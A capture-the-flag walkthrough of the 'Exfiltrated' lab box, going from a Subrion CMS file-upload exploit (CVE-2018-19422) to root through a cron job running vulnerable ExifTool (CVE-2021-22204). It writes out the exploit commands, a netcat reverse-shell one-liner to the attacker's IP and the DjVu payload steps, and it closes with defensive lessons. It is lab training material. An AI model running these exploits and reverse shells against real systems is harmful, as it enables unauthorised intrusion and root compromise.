the_open_door
coffee
ESEN

Exfiltrated

Proving Grounds PracticeMediumLinux192.168.195.1634 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#subrion#cms#default-credentials#file-upload#cve-2018-19422#cron#exiftool#djvu#cve-2021-22204#oscp
TL;DR. Exfiltrated redirects to a vhost, exfiltrated.offsec, serving Subrion CMS 4.2.1. The panel accepts default credentials (admin/admin) and a filter-bypassing file upload gives RCE as www-data (CVE-2018-19422). On the box, a root cron runs exiftool over the images we upload (cron over a writable directory). That ExifTool version is vulnerable to the DjVu RCE (CVE-2021-22204): we upload a malicious .jpg, the cron processes it as root, and it hands us a root shell.

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.195.163
64 bytes from 192.168.195.163: icmp_seq=1 ttl=61 time=29.5 ms

Two ports:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.195.163
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

nmap -p22,80 -sCV 192.168.195.163 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries
|_/backup/ /cron/? /front/ /install/ /panel/ /tmp/ /updates/

HTTP - TCP 80#

Port 80 doesn't answer by IP: it redirects to http://exfiltrated.offsec/ (name-based virtual hosting). The browser can't resolve that name until we declare it ourselves:

The browser shows Server Not Found at http://exfiltrated.offsec before adding it to hosts

We add it to /etc/hosts:


echo '192.168.195.163 exfiltrated.offsec' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
192.168.195.163 exfiltrated.offsec

Once resolved, the site shows a corporate template ("KICKSTART") with its Log in link. The robots.txt already hinted at interesting routes (/panel/, /backup/, /install/) and /panel/ is the admin panel:

The exfiltrated.offsec landing page is a KICKSTART template with a Log in link

Subrion CMS: default credentials#

The panel accepts the default credentials admin / admin:

Subrion panel reachable with admin / admin

Inside, the general configuration confirms the product and version: the page-title suffix is :: Powered by Subrion 4.2:

Subrion panel; the page-title suffix confirms Powered by Subrion 4.2

Exploitation#

Subrion CMS 4.2.1: file upload to RCE (CVE-2018-19422)#

Subrion 4.2.1 carries CVE-2018-19422: the panel's file manager validates extensions incompletely, and uploading a .phar (which Apache executes as PHP) bypasses the filter and yields execution (CVE-2018-19422). The 49876.py exploit automates login, upload and webshell:


searchsploit 'subrion cms 4.2'
------------------------------------------------------------- ---------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------
Subrion CMS 4.2.1 - Arbitrary File Upload                    | php/webapps/49876.py
------------------------------------------------------------- ---------------------------

We copy the exploit and rename it to something manageable:


searchsploit -m php/webapps/49876.py
...
Copied to: /proving_grounds/exfiltrated/content/49876.py

mv 49876.py subrioncms_exp.py

The exploit logs in with the default credentials, uploads the webshell under a random name and drops a prompt from which commands already run:


python subrioncms_exp.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422

[+] Trying to connect to: http://exfiltrated.offsec/panel/
[+] Success!
[+] Got CSRF token: 72KRD2vuPsfWOOzCqLAaQaz8Oqiq5hf5DR9H8UWX
[+] Trying to log in ...
[+] Login Successful!

[+] Generating random name for Webshell ...
[+] Generated webshell name: eahrdpiwyjnymad

[+] Trying to Upload Webshell ..
[+] Upload Success ...  Webshell path: http://exfiltrated.offsec/panel/uploads/eahrdpiwyjnymad.phar

$ whoami
www-data

$

We keep Penelope listening on 22 (an egress-allowed port):


penelope 22

From the webshell we launch a reverse shell and stabilize it:


busybox nc 192.168.45.174 22 -e bash
(Penelope)> listeners add -p 22
[+] Got reverse shell from exfiltrated~192.168.195.163-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
www-data@exfiltrated:/var/www/html/subrion/uploads$ whoami
www-data

Privilege escalation#

Root cron running ExifTool#

Enumerating, /etc/crontab holds a root entry that runs a script every minute, and that script pipes exiftool over every .jpg in Subrion's uploads directory (cron over a writable directory):


cat /etc/crontab | tail
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   root    bash /opt/image-exif.sh
#

The last entry is the one that matters: root runs bash /opt/image-exif.sh every minute. The script can be read:


cat /opt/image-exif.sh
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata

echo -ne "\\n metadata directory cleaned! \\n\\n"


IMAGES='/var/www/html/subrion/uploads'

META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"

echo -ne "\\n Processing EXIF metadata now ... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename;
do
    exiftool "$IMAGES/$filename" >> $LOGFILE
done

echo -ne "\\n\\n Processing is finished! \\n\\n\\n"

It walks exiftool over every .jpg in Subrion's uploads directory, which is exactly where we just dropped the webshell. And the tool's version is the other half of the problem:


exiftool -ver
11.88

Two facts chain the escalation: the uploads directory is writable by www-data (we uploaded the webshell there), and exiftool -ver returns 11.88, vulnerable to the DjVu RCE.

CVE-2021-22204: RCE in ExifTool via DjVu#

ExifTool <= 12.23 executes code when parsing the metadata of an embedded DjVu image (CVE-2021-22204). Searching the CVE leads to LazyTitan33's exploit, whose README describes the flaw (DjVu in ExifTool 7.44+):

GitHub repo LazyTitan33/ExifTool-DjVu-exploit: CVE-2021-22204, RCE via the DjVu format in ExifTool

With it we build a payload.jpg carrying an embedded reverse shell back to us:


git clone https://github.com/LazyTitan33/ExifTool-DjVu-exploit &>/dev/null

cd ExifTool-DjVu-exploit

The exploit carries the IP and the port written into the file itself, so they have to be edited:


nano CVE-2021-22204.py

cat CVE-2021-22204.py | grep 192 -A 1
ip = '192.168.45.174' # change this to your IP
port = 4444 # change this to your port

With that done the image can be generated:


python3 CVE-2021-22204.py 2>/dev/null
...
payload.jpg image is ready to be used.
Art by Hayley Jane Wakenshaw

ls
CVE-2021-22204.py  README.md  payload.jpg

We download payload.jpg into the (writable) uploads directory and set up a listener. When the root cron processes the image with exiftool, it will fire the payload. In the www-data shell:


wget http://192.168.45.174/payload.jpg
--2026-01-21 23:47:05--  http://192.168.45.174/payload.jpg
Connecting to 192.168.45.174:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 1137 (1.1K) [image/jpeg]
Saving to: 'payload.jpg'

payload.jpg   100%[=================>]  1.11K  --.-KB/s  in 0s

2026-01-21 23:47:05 (5.18 MB/s) - 'payload.jpg' saved [1137/1137]

And on our machine, the listener:


rlwrap nc -nlvp 4445
listening on [any] 4445 ...
connect to [192.168.45.174] from (UNKNOWN) [192.168.195.163] 58954
bash: cannot set terminal process group (43250): Inappropriate ioctl for device
bash: no job control in this shell
root@exfiltrated:~# whoami
whoami
root
root@exfiltrated:~#

Within a minute the listener catches the connection as root.

Local and Proof#

As root we read both flags. local.txt lives in coaran's home and the shell is already there. This session echoes every command before answering it, so the first line of each output is the command itself:


cat local.txt && whoami && ip a && hostname
cat local.txt && whoami && ip a && hostname
97a8e54d8d285163f2d806adc7ab7d1f
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:b2:26 brd ff:ff:ff:ff:ff:ff
    inet 192.168.195.163/24 brd 192.168.195.255 scope global ens160
       valid_lft forever preferred_lft forever
exfiltrated

cat proof.txt && whoami && ip a && hostname
cat proof.txt && whoami && ip a && hostname
58714e9cfb1152b414ff197ba095f86e
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:b2:26 brd ff:ff:ff:ff:ff:ff
    inet 192.168.195.163/24 brd 192.168.195.255 scope global ens160
       valid_lft forever preferred_lft forever
exfiltrated

Attack chain#

HTTP (80)  --  redirect -> vhost exfiltrated.offsec (Subrion CMS)
        │  panel with default creds (admin/admin)
        │  CVE-2018-19422: .phar upload -> RCE
        ▼
www-data
        │  root cron -> exiftool over /var/www/html/subrion/uploads (writable)
        │  exiftool 11.88 vulnerable -> CVE-2021-22204 (DjVu payload.jpg)
        ▼
root  (local.txt + proof.txt)

Lessons learned#

  • A redirect to a vhost is a clue, not a wall. Port 80 by IP gave nothing until we added exfiltrated.offsec to /etc/hosts. The name in the redirect header was the way in.
  • Default credentials still open panels. admin/admin on Subrion was the entire authentication effort needed to reach the file upload.
  • Extension allowlists by name are fragile. CVE-2018-19422 abuses the fact that .phar runs as PHP and wasn't filtered; validation should be by real type with a strict allowlist.
  • A root cron touching an attacker-writable directory is RCE. No need to edit the script: just drop a file that vulnerable exiftool itself would process as root. Privileged tasks must not operate on data an untrusted user controls.
Command cheatsheet 13 commands

Quick review